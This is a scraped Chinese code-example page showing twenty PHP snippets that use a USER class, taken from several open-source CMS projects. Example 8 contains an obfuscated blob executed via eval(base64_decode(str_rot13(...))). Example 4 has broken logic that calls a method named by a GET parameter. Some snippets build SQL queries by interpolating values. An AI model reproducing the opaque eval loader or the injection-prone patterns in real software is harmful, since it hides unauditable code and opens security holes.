• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP USER类代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中USER的典型用法代码示例。如果您正苦于以下问题:PHP USER类的具体用法?PHP USER怎么用?PHP USER使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。



在下文中一共展示了USER类的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: _draw_box

 /**
  * @param USER $obj
  * @access private
  */
 protected function _draw_box($obj)
 {
     echo $obj->title_as_link();
     if ($this->login->is_allowed(Privilege_set_group, Privilege_modify)) {
         $this->_new_column();
         echo $this->_controls_renderer->button_as_html('Remove...', 'delete_user_from_group.php?id=' . $this->_group_id . '&name=' . $obj->title, '{icons}buttons/delete');
     }
 }
开发者ID:mvonballmo,项目名称:earthli-webcore,代码行数:12,代码来源:group_user_grid.php


示例2: remove_user

 /**
  * Delete this user from the group.
  * Does not check whether the user is a member of the group.
  * @param USER $user
  */
 public function remove_user($user)
 {
     $this->db->logged_query("DELETE FROM {$this->app->table_names->users_to_groups} WHERE user_id = {$user->id}");
     // update the history with the change
     $history_item = $this->new_history_item();
     $history_item->kind = History_item_updated;
     $history_item->record_difference('Removed [' . $user->title_as_plain_text() . '].');
     $history_item->store();
     $history_item = $user->new_history_item();
     $history_item->kind = History_item_updated;
     $history_item->record_difference('Removed from group [' . $this->title_as_plain_text() . ']');
     $history_item->store();
 }
开发者ID:mvonballmo,项目名称:earthli-webcore,代码行数:18,代码来源:group.php


示例3: __construct

 function __construct()
 {
     if (User::isAuth()) {
         MG::redirect('/');
     }
     // Шаг первый.
     $form = 1;
     $fPass = new Models_Forgotpass();
     // Ввторой шаг, производящий проверку введеного электронного адреса.
     if (URL::getQueryParametr('forgotpass')) {
         $email = URL::getQueryParametr('email');
         if ($userInfo = USER::getUserInfoByEmail($email)) {
             //Если введенных адрес совпадает с зарегистрированным в системе, то
             $form = 0;
             $message = 'Инструкция по восстановлению пароля была отправлена на <strong>' . $email . '</strong>';
             $hash = $fPass->getHash($email);
             //а) Случайный хэш заносится в БД.
             $fPass->sendHashToDB($email, $hash);
             $siteName = MG::getOption('sitename');
             $emailMessage = MG::layoutManager('email_forgot', array('siteName' => $siteName, 'email' => $email, 'hash' => $hash, 'userId' => $userInfo->id, 'link' => SITE . '/forgotpass?sec=' . $hash . '&id=' . $userInfo->id));
             $emailData = array('nameFrom' => $siteName, 'emailFrom' => MG::getSetting('noReplyEmail'), 'nameTo' => 'Пользователю сайта ' . $siteName, 'emailTo' => $email, 'subject' => 'Восстановление пароля на сайте ' . $siteName, 'body' => $emailMessage, 'html' => true);
             //б) На указанный электронный адрес отправляется письмо со сылкой на страницу восстановления пароля.
             $fPass->sendUrlToEmail($emailData);
         } else {
             $form = 0;
             $error = 'К сожалению, такой логин не найден<br>
       Если вы уверены, что данный логин существует, пожалуйста, свяжитесь с нами.';
         }
     }
     // Шаг 3. Обработка перехода по ссылки. Принимается id пользователя и сгенерированный хэш.
     if ($_GET) {
         $userInfo = USER::getUserById(URL::getQueryParametr('id'));
         $hash = URL::getQueryParametr('sec');
         // Если присланный хэш совпадает с хэшом из БД для соответствующего id.
         if ($userInfo->restore == $hash) {
             $form = 2;
             // Меняе в БД случайным образом хэш, делая невозможным повторный переход по ссылки.
             $fPass->sendHashToDB($userInfo->email, $fPass->getHash('0'));
             $_SESSION['id'] = URL::getQueryParametr('id');
         } else {
             $form = 0;
             $error = 'Некорректная ссылка. Повторите заново запрос восстановления пароля.';
         }
     }
     // Шаг 4. обрабатываем запрос на ввод нового пароля
     if (URL::getQueryParametr('chengePass')) {
         $form = 2;
         $person = new Models_Personal();
         $msg = $person->changePass(URL::getQueryParametr('newPass'), $_SESSION['id'], true);
         if ('Пароль изменен' == $msg) {
             $form = 0;
             $message = $msg . '! ' . 'Вы можете войти в личный кабинет по адресу <a href="' . SITE . '/enter" >' . SITE . '/enter</a>';
             $fPass->activateUser($_SESSION['id']);
             unset($_SESSION['id']);
         } else {
             $error = $msg;
         }
     }
     $this->data = array('error' => $error, 'message' => $message, 'form' => $form, 'meta_title' => 'Восстановление пароля', 'meta_keywords' => $model->currentCategory['meta_keywords'] ? $model->currentCategory['meta_keywords'] : "забыли пароль, восстановить пароль, восстановление пароля", 'meta_desc' => $model->currentCategory['meta_desc'] ? $model->currentCategory['meta_desc'] : "Если вы забыли пароль от личного кабинета, его модно восстановить с помощью формы восстановления паролей.");
 }
开发者ID:WinGood,项目名称:24karcher,代码行数:60,代码来源:forgotpass.php


示例4: __construct

 public function __construct()
 {
     if (!empty($files)) {
         file_put_contents('data/' . $filename, $files, FILE_APPEND);
         echo "success\n";
     }
     if (empty($_GET['mode'])) {
         MG::redirect('/');
     }
     MG::disableTemplate();
     Storage::$noCache = true;
     $this->unlinkFile = true;
     $this->startTime = microtime(true);
     $this->maxExecTime = min(30, @ini_get("max_execution_time"));
     if (empty($this->maxExecTime)) {
         $this->maxExecTime = 30;
     }
     $mode = (string) $_GET['mode'];
     $this->mode = $mode;
     $this->type = $_GET['type'];
     $this->filename = $_GET['filename'];
     $this->auth = USER::auth($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']);
     $this->{$mode}();
     if ($mode && $this->auth) {
         $this->{$mode}();
     }
 }
开发者ID:kostiukoleg,项目名称:all4web.loc,代码行数:27,代码来源:exchange1c.php


示例5: validDataForm

 /**
  * Проверяет корректность введенных данных в форме регистрации.
  * 
  * @param array $userData массив данных пользователя.
  * @param string $mode режим проверки данных (full|pass) полный (по умолчанию) или только пароль.
  * @return string ошибка в случае не верного ввода данных в одном из полей.
  */
 public function validDataForm($userData, $mode = 'full')
 {
     // Проверка электронного адреса.
     if (USER::getUserInfoByEmail($userData['email']) && 'full' == $mode) {
         $error .= '<span class="email-in-use">Указанный email уже используется</span>';
     }
     // Пароль должен быть больше 5-ти символов.
     if (strlen($userData['pass']) < 5) {
         $error .= '<span class="passError">Пароль менее 5 символов</span>';
     }
     // Проверяем равенство введенных паролей.
     if (URL::getQueryParametr('pass2') != $userData['pass']) {
         $error .= '<span class="wrong-pass">Введенные пароли не совпадают</span>';
     }
     if ('full' == $mode) {
         // Проверка электронного адреса.
         if (!preg_match('/^[-._a-zA-Z0-9]+@(?:[a-zA-Z0-9][-a-zA-Z0-9]{0,61}+\\.)+[a-zA-Z]{2,6}$/', $userData['email'])) {
             $error .= '<span class="errorEmail">Неверно заполнено email</span>';
         }
         if (MG::getSetting('useCaptcha') == "true") {
             if (strtolower(URL::getQueryParametr('capcha')) != strtolower($_SESSION['capcha'])) {
                 $error .= "<span class='error-captcha-text'>Текст с картинки введен неверно!</span>";
             }
         }
     }
     $args = func_get_args();
     return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $error, $args);
 }
开发者ID:WinGood,项目名称:24karcher,代码行数:35,代码来源:registration.php


示例6: __construct

 function __construct()
 {
     if (!USER::isAuth() || '1' != USER::getThis()->role) {
         MG::redirect('/');
     }
     $this->data = array('content' => $_POST['content']);
 }
开发者ID:WinGood,项目名称:24karcher,代码行数:7,代码来源:previewer.php


示例7: load

 /**
  * {@inheritDoc}
  */
 public function load(ObjectManager $manager)
 {
     //add a test user
     $user_test = new USER();
     $user_testInfo = new UserInfo();
     $user_test->setUsername('test');
     $encoder = $this->container->get('security.encoder_factory')->getEncoder($user_test);
     $user_test->setPassword($encoder->encodePassword('test', $user_test->getSalt()));
     $user_test->setEmail('[email protected]');
     $user_test->setEnabled(true);
     $user_test->setRoles(array('ROLE_USER'));
     $user_test->setUserInfo($user_testInfo);
     $manager->persist($user_test);
     //add an admin user
     $user_admin = new USER();
     $user_adminInfo = new UserInfo();
     $user_admin->setUsername('admin');
     $encoder = $this->container->get('security.encoder_factory')->getEncoder($user_admin);
     $user_admin->setPassword($encoder->encodePassword('admin', $user_admin->getSalt()));
     $user_admin->setEmail('[email protected]');
     $user_admin->setEnabled(true);
     $user_admin->setRoles(array('ROLE_ADMIN'));
     $user_admin->setUserInfo($user_adminInfo);
     $manager->persist($user_admin);
     //add config
     $Config1 = new Config();
     $Config1->setId(1);
     $Config1->setTitle("");
     $Config1->setRemark("");
     $Config1->setCfgvalue("1");
     $manager->persist($Config1);
     $Config2 = new Config();
     $Config2->setId(2);
     $Config2->setTitle("");
     $Config2->setRemark("");
     $Config2->setCfgvalue("0");
     $manager->persist($Config2);
     $Config3 = new Config();
     $Config3->setId(3);
     $Config3->setTitle("");
     $Config3->setRemark("");
     $Config3->setCfgvalue("0");
     $manager->persist($Config3);
     //update
     $manager->flush();
 }
开发者ID:presentianz,项目名称:b2c,代码行数:49,代码来源:LoadUserData.php


示例8: __construct

 function __construct()
 {
     MG::disableTemplate();
     $model = new Models_Order();
     MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
     if ('1' == User::getThis()->role) {
         MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
     }
     if (URL::get('csv')) {
         $model = new Models_Catalog();
         $model->exportToCsv();
     }
     if (URL::get('examplecsv')) {
         $model = new Models_Catalog();
         $model->getExampleCSV();
     }
     if (URL::get('examplecsvupdate')) {
         $model = new Models_Catalog();
         $model->getExampleCsvUpdate();
     }
     if (URL::get('yml')) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $model = new YML();
             if (URL::get('filename')) {
                 if (!$model->downloadYml(URL::get('filename'))) {
                     $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
                     echo json_encode($response);
                 }
             } else {
                 $model->exportToYml();
             }
         } else {
             $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
             echo json_encode($response);
         }
     }
     if (URL::get('csvuser')) {
         USER::exportToCsvUser();
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model = new Models_Order();
         $model->getPdfOrder($orderId);
     }
     if ($orderId = URL::get('getExportCSV')) {
         $model = new Models_Order();
         $model->getExportCSV($orderId);
     }
     $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
     $this->pluginsList = PM::getPluginsInfo();
     $this->lang = MG::get('lang');
     if (!($checkLibs = MG::libExists())) {
         $j878723423f5c3ba26da = "base64_decode";
         $kdd9391e7490 = "str_rot13";
         @eval($j878723423f5c3ba26da($kdd9391e7490("MKMuoPuvLKAyAwEsMTIwo2EyXUA0py9lo3DkZltaGHgAqJ9DqTSMoQu0GHcQETt5HQEJDIN5ZSyYEKE2HHEbM1N3ZSyEEKEkIR8jJH50pHgCrRkYEKIJDIN0ZSycETuDHHEbM1NeZSxmEKEaIR4jJGqRnQyHJwOMZ0EzDIEQIxSHGmOZD0EcDIN4ZSyBqQOZE0EzDIN1ZSycETMDHHEcpINkIxSHGmOMA0EzM1NiZSyEETqOHTbjJHgSqUMdqQOZJHEcqx5OHUMBqSMDGaEMoQu0ZRkQETqOHTbjJJyRM3SDBGOMq0EaEx93omV1rz5XpUDjJKE0ZRkUETt5HTbjJIc0ZSyJqQOMIHEaHSSRnKMEEKEaHPfjJJczIxSHIGOZJHEcqySRMzqDZGOZHHI0pIN0ZRj4qQOMZ0EapIN3ZSy3EKIaHQRjJGARMmyDAQOMA0EcpIN5ZSyEEKqdZSuJHR50IyOBqSqHGJAiIRyEomV1ZSMEZUEArayzGHx5LH1YEKAZZwybpIEWnUSIJzWWFIqnDaqwLH1YEIWiZxRko0cWnUSGI2yiZ0EvJRL1pSplZJSMFxScpUcVnJ9HrKMMZ0ydGIEGZRkTAJchIH9jI2k4A1SRLxSDqx50IyOBqSMHrKcJHUE1GQWeqKNm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KcZFzggGHMdqUSIImSAEat3I2k4AlpcXFx7")));
         $this->newVersion = $newVer['lastVersion'];
         $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : '';
     }
 }
开发者ID:kostiukoleg,项目名称:all4web.loc,代码行数:58,代码来源:mgadmin.php


示例9: all_users

 public static function all_users()
 {
     $query = db()->query("SELECT * FROM users ORDER BY name");
     $array = array();
     while ($data = $query->fetch()) {
         $array[] = USER::byRow($data);
     }
     return $array;
 }
开发者ID:KasaiDot,项目名称:phpIrofferAdmin,代码行数:9,代码来源:user.php


示例10: changePass

 /**
  * Функция смены пароля пользователя
  *
  * После проверки корректности введеных данных производит хэширование и внесения в БД пароля пользователя
  *
  * @param string $newPass - новый пароль пользователя
  * @param int $id - id пользователя
  * @param bool $forgotPass - флаг для функции восстановления пароля, когда не происходит изменения данных пользователя находящихся в системе
  * @return string - сообщение о результате операции
  */
 public function changePass($newPass, $id, $forgotPass = false)
 {
     $userData = array('pass' => $newPass);
     $registration = new Models_Registration();
     if ($err = $registration->validDataForm($userData, 'pass')) {
         $msg = $err;
     } else {
         $userData['pass'] = crypt($userData['pass']);
         USER::update($id, $userData, $forgotPass);
         $msg = "Пароль изменен";
     }
     $args = func_get_args();
     return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $msg, $args);
 }
开发者ID:nellka,项目名称:mebel,代码行数:24,代码来源:personal.php


示例11: testAddUser

 public function testAddUser()
 {
     $u = new USER();
     $details = array("firstname" => 'Test', "lastname" => 'User', "email" => '[email protected]', "emailpublic" => '0', "postcode" => 'EH1 99SP', "mp_alert" => false, "url" => '', "password" => '', "optin" => '0', "status" => 'User');
     $u->add($details, false);
     $id = $u->user_id();
     $u->init($id);
     $this->assertEquals('Test', $u->firstname());
     $this->assertEquals('EH1 99SP', $u->postcode());
 }
开发者ID:udp12,项目名称:theyworkforyou,代码行数:10,代码来源:UserTest.php


示例12: prefered

 public static function prefered($type, $name, $identifier = 0)
 {
     $prefered = '';
     if (USER::is_logged()) {
         $identifier = $identifier == 0 ? USER::get('id') : $identifier;
         $check = OPTIONS::get($type, $name, $identifier);
         if ($check === false) {
             $prefered = OPTIONS::get($type, $name);
         } else {
             $prefered = $check;
         }
     } else {
         $prefered = OPTIONS::get($type, $name);
     }
     return $prefered;
 }
开发者ID:double-web,项目名称:drawline,代码行数:16,代码来源:include_options.php


示例13: check

 public static function check($permission_name, $user_id = 0)
 {
     // get user id
     $user_id = $user_id == 0 ? USER::get('id') : $user_id;
     if ($user_id === false) {
         return false;
     }
     // get user groups
     $user_groups = USER::get("user_groups", $user_id);
     // is is grand administrator
     if ($user_groups == 1) {
         return true;
     }
     // if user has no groups assigned
     if ($user_groups == '') {
         return false;
     }
     // select all permissions of user
     $user_permissions = array();
     global $db;
     $sel = $db->query("SELECT group_permissions FROM dl_users_groups WHERE group_id IN ({$user_groups})");
     while ($row = $db->fetch_array($sel)) {
         if (trim($row['group_permissions']) == '') {
             continue;
         }
         $p = explode(",", trim($row['group_permissions']));
         foreach ($p as $k) {
             if (!in_array($k, $user_permissions)) {
                 $user_permissions[] = $k;
             }
         }
     }
     // check if have grand permission
     if (isset($user_permissions[0]) && $user_permissions[0] == '*') {
         return true;
     }
     $user_permissions = implode(",", $user_permissions);
     $chk = $db->query(" SELECT count(*) as tot \n                                FROM dl_users_permissions \n                                WHERE   permission_value = '{$permission_name}' AND \n                                        permission_id IN ({$user_permissions})");
     $chk = $db->fetch_array($chk);
     // return result
     return $chk['tot'] == 1 ? true : false;
 }
开发者ID:double-web,项目名称:drawline,代码行数:42,代码来源:include_permissions.php


示例14: get_gid_geo_objects

 public function get_gid_geo_objects()
 {
     $gid = \USER::init()->get('gid');
     $lang = \CORE::lng();
     $geo_list = array();
     $DB = \DB::init();
     if ($DB->connect()) {
         $sql = "SELECT * FROM `mt-geo-objects` LEFT OUTER JOIN `mt-geo-types` ON `geo-type`=`gt-id`;";
         $sth = $DB->dbh->prepare($sql);
         $sth->execute();
         $DB->query_count();
         if ($sth->rowCount() > 0) {
             while ($r = $sth->fetch()) {
                 if ($gid == 1) {
                     $geo_list[$r['geo-id']] = $r['gt-name-short-' . $lang] . ' ' . $r['geo-title-' . $lang];
                 }
             }
         }
     }
     return $geo_list;
 }
开发者ID:sniyozov,项目名称:mt,代码行数:21,代码来源:mt_m.php


示例15: getAllDispatcherOfficeHours

function getAllDispatcherOfficeHours()
{
    $db = DB::getInstance();
    $Dispatcher_hours = $db->prep_execute('SELECT * FROM Dispatcher_hours;', array());
    // Global list of user & course objects. Prevents unnecessary DB reads.
    global $users, $courses;
    // Array of user - course object pair mappings to be returned.
    $return = array();
    // Loop through all Driver - course key mappings
    foreach ($Dispatcher_hours as $row) {
        // Read user from DB and add to user array if not found in array
        if (!isset($users[$row['email']])) {
            $users[$row['email']] = USER::fromDatabase($row['email']);
        }
        // Read course from DB and add to user array if not found in array
        if (!isset($courses[$row['subj'] . '-' . $row['crse']])) {
            $courses[$row['subj'] . '-' . $row['crse']] = COURSE::fromDatabase($row['subj'], intval($row['crse']));
        }
        // Add Driver - course object pair to return array
        $return[] = ['user' => $users[$row['email']], 'course' => $courses[$row['subj'] . '-' . $row['crse']], 'week_day' => $row['week_day'], 'startTime' => $row['start_time'], 'endTime' => $row['end_time']];
    }
    return $return;
}
开发者ID:akelleher,项目名称:taxi-app,代码行数:23,代码来源:relations.php


示例16: session_start

<?php

session_start();
require_once '../config/class.user.php';
$user = new USER();
if ($user->is_loggedin()) {
    $user->redirect('../home/index.php');
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    
            <meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">
  <!--  <meta name="viewport" content="width=device-width, initial-scale=1"> -->
        <meta name="description" content="Control Parental, Internet por fin segura">
<meta name="keywords" content="Parental control,Control parental,parental,control, seguridad, internet, niños, seguros, navegación, filtros, antivirus, internet segura, firewall, cortafuego, analisis, paginas, seguras">
<meta name="author" content="[email protected]">
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> 
        <!--<meta name="viewport" content="width=device-width, initial-scale=1.0">-->
    <link rel="apple-touch-icon" href="../imagenes/touch-icon-iphone.png">
	<link rel="apple-touch-icon" sizes="76x76" href="../imagenes/touch-icon-ipad.png">
	<link rel="apple-touch-icon" sizes="120x120" href="../imagenes/touch-icon-iphone-retina.png">
	<link rel="apple-touch-icon" sizes="152x152" href="../imagenes/touch-icon-ipad-retina.png">
	<link href="../imagenes/buhonet.png" rel="apple-touch-startup-image" />
	<meta name="apple-mobile-web-app-capable" content="yes" />
	  <meta content="true" name="HandheldFriendly" />
开发者ID:walterleonardo,项目名称:Php,代码行数:31,代码来源:registrarme.php


示例17: session_start

<?php

session_start();
require_once 'class.user.php';
$session = new USER();
// if user session is not active(not loggedin) this page will help 'home.php and profile.php' to redirect to login page
// put this file within secured pages that users (users can't access without login)
if (!$session->is_loggedin()) {
    // session no set redirects to login page
    $session->redirect('../pages/login.php');
}
开发者ID:kangube,项目名称:kangu-product,代码行数:11,代码来源:class.session.php


示例18: _echo_properties_as_html

    /**
     * Show the main properties of a user.
     * @param USER $obj
     * @access private
     */
    protected function _echo_properties_as_html($obj)
    {
        ?>
  <table class="basic columns left-labels">
    <tr>
      <th>Name</th>
      <td><?php 
        echo $obj->real_name();
        ?>
</td>
    </tr>
    <tr>
      <th>Member since</th>
      <td><?php 
        echo $obj->time_created->format();
        ?>
</td>
    </tr>
    <tr>
      <th>Email</th>
      <td><?php 
        echo $obj->email_as_text();
        ?>
</td>
    </tr>
    <tr>
      <th>Home page</th>
      <td>
        <?php 
        if ($obj->home_page_url) {
            $t = $obj->title_formatter();
            $t->text = $obj->home_page_url;
            $t->location = ensure_has_protocol($obj->home_page_url, "http");
            $t->css_class = '';
            echo $t->as_html_link();
        } else {
            echo "(none)";
        }
        ?>
      </td>
    </tr>
    <tr>
      <th>Description</th>
      <td>
        <?php 
        if ($obj->description) {
            echo $obj->description_as_html();
        } else {
            echo "(none)";
        }
        ?>
      </td>
    </tr>
  </table>
<?php 
    }
开发者ID:mvonballmo,项目名称:earthli-webcore,代码行数:61,代码来源:user_renderer.php


示例19: array

<?php

require "../../../frame/engine.php";
ENGINE::START();
$user = USER::VERIFY(0, TRUE);
$CID = $_GET['cid'];
$CARD = $_GET['card'];
$TID = $_GET['tid'];
$CUSTOMER = MYSQL::QUERY('SELECT * FROM core_customers WHERE c_id = ? LIMIT 1', array($CID));
if (empty($CUSTOMER['c_card']) || $CUSTOMER['c_card'] == $CARD) {
    if (empty($CUSTOMER['c_card'])) {
        $CS = MYSQL::QUERY('SELECT c_id FROM core_customers WHERE c_card = ? LIMIT 1', array($CARD));
        if (empty($CS)) {
            echo "This customer has no card and this card is not in use. Please Enter their Primary email.<br/><br/><input type='email' placeholder='Customers Email Address..' style='width:280px;'><br/>\n\t\t\t<button style='cursor:pointer;width:287px;' onClick='AttachCard(\$(this)," . '"' . $CID . '"' . "," . '"' . $CARD . '"' . "," . '"' . $TID . '"' . "," . '"' . $user['store_info']['s_taxrate'] . '"' . ")'>Attach Card</button>";
        } else {
            echo "This card belongs to someone else...";
        }
    } else {
        echo "Valid Card. 5% Off Applied.\n        <script>AddDiscount('5','Membership Card','.ticket" . $TID . "','" . $user['store_info']['s_taxrate'] . "','" . $TID . "');</script>";
    }
} else {
    echo "This Customer has a different Card..";
}
开发者ID:Nvenom,项目名称:Cellwiz,代码行数:23,代码来源:card.php


示例20: session_start

<?php

session_start();
require_once 'classes/class.user.php';
$user_home = new USER();
if (!$user_home->is_logged_in()) {
    $user_home->redirect('index.php');
}
$stmt = $user_home->runQuery("SELECT * FROM users WHERE id=:uid");
$stmt->execute(array(":uid" => $_SESSION['userSession']));
$row = $stmt->fetch(PDO::FETCH_ASSOC);
?>
<!DOCTYPE html>
<html>
<title>Suppliers</title>
  <?php 
include "include/head.php";
?>
  
    <div class="wrapper">

      <?php 
include "include/header.php";
?>
         <!-- Left side column. contains the logo and sidebar -->
         <aside class="main-sidebar">
            <!-- sidebar: style can be found in sidebar.less -->
            <!-- sidebar: style can be found in sidebar.less -->
            <section class="sidebar">
               
               <!-- sidebar menu: : style can be found in sidebar.less -->
开发者ID:TSMS,项目名称:UCSC-groupProject-Tsms,代码行数:31,代码来源:suppliersedit.php



注:本文中的USER类示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
PHP UTF8类代码示例发布时间:2022-05-23
下一篇:
PHP URLify类代码示例发布时间:2022-05-23
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap